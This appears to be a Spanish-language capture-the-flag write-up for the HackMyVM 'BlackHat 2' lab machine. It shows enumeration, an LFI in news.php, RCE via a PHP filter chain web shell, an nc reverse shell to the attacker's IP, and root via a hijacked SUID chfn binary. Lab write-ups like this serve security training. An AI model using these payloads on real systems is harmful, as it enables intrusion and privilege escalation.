cd ~/blog

~/writeups/hmv/013-blackhat-2.md

013 - BlackHat 2

medium Linux hmv 16-10-2025
LFIPHP Filter Chain RCEModified SUID binary hijack (chfn)
hackmyvm.eu/machines/machine.php?vm=Blackhat2

~1 min de lectura


Enumeración

Identificamos la IP de la máquina víctima:

 arp-scan --interface=wlan0 --localnet | grep PCS | awk '{print $1}'
10.42.113.157

Enumeramos puertos:

 sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 10.42.113.157
[sudo] contraseña para wh01s17:
Starting Nmap 7.98 ( https://nmap.org ) at 2025-10-16 19:12 -0300
Nmap scan report for 10.42.113.157
Host is up (0.00017s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:EE:4E:32 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1.10 seconds
 nmap -sCV -p 22,80 -oN 02-targeted.txt 10.42.113.157
Starting Nmap 7.98 ( https://nmap.org ) at 2025-10-16 19:12 -0300
Nmap scan report for 10.42.113.157
Host is up (0.00029s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
|   256 04:2a:cb:c4:54:0e:de:54:a1:f2:61:d7:6a:29:f6:5f (ECDSA)
|_  256 a8:02:05:f3:a6:61:7d:e8:8b:e5:6f:1c:5b:7b:5b:33 (ED25519)
80/tcp open  http    Apache httpd 2.4.57 ((Debian))
|_http-server-header: Apache/2.4.57 (Debian)
|_http-title: Home - Hacked By sML
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.29 seconds

Enumeramos directorios:

 gobuster dir -u 'http://10.42.113.157' -w ~/Documents/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,sql,xml,zip,sh,db,jpg,jpeg,png,bak -r
...
news.php             (Status: 200) [Size: 3418]
index.php            (Status: 200) [Size: 996]
index.html           (Status: 200) [Size: 996]
dp.jpg               (Status: 200) [Size: 238753]
2021                 (Status: 200) [Size: 31875]
2022                 (Status: 200) [Size: 34213]
2023                 (Status: 200) [Size: 36067]
server-status        (Status: 403) [Size: 278]
...

LFI en news.php

Ingresamos a http://10.42.113.157/news.php, que nos solicita un email:

pwned@pwned.com

Nos dirige a http://10.42.113.157/news.php?email=pwned%40pwned.com. Intentamos LFI sobre ese parámetro sin éxito. La página después solicita el año y redirige a http://10.42.113.157/news.php?year=2023. Probamos un payload de LFI sobre year y esta vez sí funciona:

 curl 'http://10.42.113.157/news.php?year=/etc/passwd' -H 'Cookie: PHPSESSID=rjjct64jurcki74jarqomb0oo6'
...
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
sshd:x:102:65534::/run/sshd:/usr/sbin/nologin
sml:x:1000:1000:,,,:/home/sml:/bin/bash
...

De LFI a RCE (PHP Filter Chain)

Convertimos el LFI en RCE con una cadena de filtros PHP, usando el script de synacktiv/php_filter_chain_generator para construir un payload que inyecte código a través de php://temp:

 ./php_filter_chain_generator.py --chain '<?=`$_GET[cmd]`?>'
[+] The following gadget chain will generate the following code : <?=`$_GET[cmd]`?> (base64 value: PD89YCRfR0VUW2NtZF1gPz4)
php://filter/.../resource=php://temp

Comprobamos la ejecución de comandos pasando cmd=id y filtrando el textarea de la respuesta:

 curl 'http://10.42.113.157/news.php?year=php://filter/.../resource=php://temp&cmd=id' -H 'Cookie: PHPSESSID=ei8j67j8qolq53248i2nq43u8f' --output salida.txt | cat salida.txt | grep textarea
...
<textarea rows="10" cols="50" class="textbox">uid=33(www-data) gid=33(www-data) groups=33(www-data)
...

Lanzamos una reverse shell:

 curl 'http://10.42.113.157/news.php?year=php://filter/.../resource=php://temp&cmd=nc%2010.42.113.36%201234%20-e%20/bin/bash' -H 'Cookie: PHPSESSID=ei8j67j8qolq53248i2nq43u8f'

 ncat -nlvp 1234
Ncat: Version 7.98 ( https://nmap.org/ncat )
Ncat: Listening on [::]:1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 10.42.113.157:41408.
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@blackhat2:/var/www/html$

Escalada de privilegios (binario SUID modificado)

Para escalar, comprobamos la integridad de los paquetes instalados con dpkg --verify:

www-data@blackhat2:/var/www/html$ dpkg --verify
missing   c /etc/apache2/sites-available/000-default.conf
missing   c /etc/apache2/sites-available/default-ssl.conf
??5?????? c /etc/grub.d/10_linux
??5??????   /usr/bin/chfn

Interpretación de las columnas:

? → El campo no fue verificado (por permisos o falta de acceso).
5 → El checksum MD5 no coincide, es decir, el contenido fue modificado.
c → Archivo de configuración.

El binario chfn aparece modificado (checksum MD5 alterado). Lo transferimos a nuestra máquina para analizarlo:

 nc -l 4321 > chfn

www-data@blackhat2:/var/www/html$ nc 10.42.113.36 4321 < /usr/bin/chfn

Lo abrimos con Ghidra y vemos que, al ejecutarse, lanza /tmp/system como root:

void main(uint param_1,undefined8 *param_2)
{
  setgid(0);
  setuid(0);
  system("nohup /tmp/system </dev/null >/dev/null 2>&1 &");
...

Aprovechamos esto: creamos nuestro propio /tmp/system que asigna SUID a bash y ejecutamos chfn:

www-data@blackhat2:/tmp$ echo 'chmod u+s /bin/bash' > system && chmod +x /tmp/system

www-data@blackhat2:/tmp$ chfn
Changing the user information for root
Enter the new value, or press ENTER for the default
	Full Name [root]: pwned
pwned
	Room Number []: pwned
pwned
	Work Phone []: pwned
pwned
	Home Phone []: pwned
pwned
	Other []: pwned
pwned

Verificamos que bash quedó con el bit SUID y obtenemos shell de root:

www-data@blackhat2:/tmp$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1265648 Apr 23  2023 /bin/bash

www-data@blackhat2:/tmp$ bash -p
bash-5.2# whoami
root

Obtenemos las flags.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados